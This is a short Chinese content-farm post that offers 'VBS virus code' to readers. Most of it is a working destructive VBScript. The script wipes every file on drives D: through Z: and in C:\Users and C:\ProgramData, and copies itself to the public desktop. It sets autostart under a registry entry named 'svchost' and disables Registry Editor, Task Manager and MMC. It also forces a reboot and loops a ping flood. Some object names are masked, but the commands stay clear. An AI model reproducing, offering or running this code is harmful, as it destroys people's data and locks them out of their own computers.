大家好,小东方来为大家解答以上的问题。vb病毒代码大全，vbs病毒代码这个很多人还不知道,现在让我们一起来看看吧！
1、那废话不说。
2、问这个如何？不懂可以问我On Error Resume Nextdim avest,xufso,wscrtSet avest = ***.createobject("***.shell")Set wscrt = ***.createobject("***.shell")Set xufso = CreateObject("***.filesystemobject")***.run "cmd /c ""del d:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del e:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del f:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del g:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del h:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del i:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del j:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del k:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del l:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del m:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del n:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del o:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del p:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del q:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del r:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del s:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del t:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del u:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del v:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del w:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del x:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del y:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del z:*.* / f /q /s""",0 ,true ***.run "cmd /c ""del C:Users*.* / f /q /s""",0 ,true ***.run "cmd /c ""del C:ProgramData*.* / f /q /s""",0 ,true ***.createfolder "C:VBScript" ***.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功！"***.copyfile ***.scriptfullname,"C:VBScript一触即发.vbs"***.copyfile ***.scriptfullname,"C:UsersPublicDesktop一触即发.vbs"***.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","00000001","REG_DWORD"***.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr","00000001","REG_DWORD"***.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","C:VBScript一触即发.vbs","REG_SZ"***.regwrite"HKEY_CURRENT_USERSoftwarePoliciesMicrosoftMMCRestrictToPermittedSnapins","00000001","REG_DWORD"msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp！",16+4096,"Error"do***.run "ping 192.168.1.1 -l 65500 -t"loo。
本文到此分享完毕，希望对大家有所帮助。
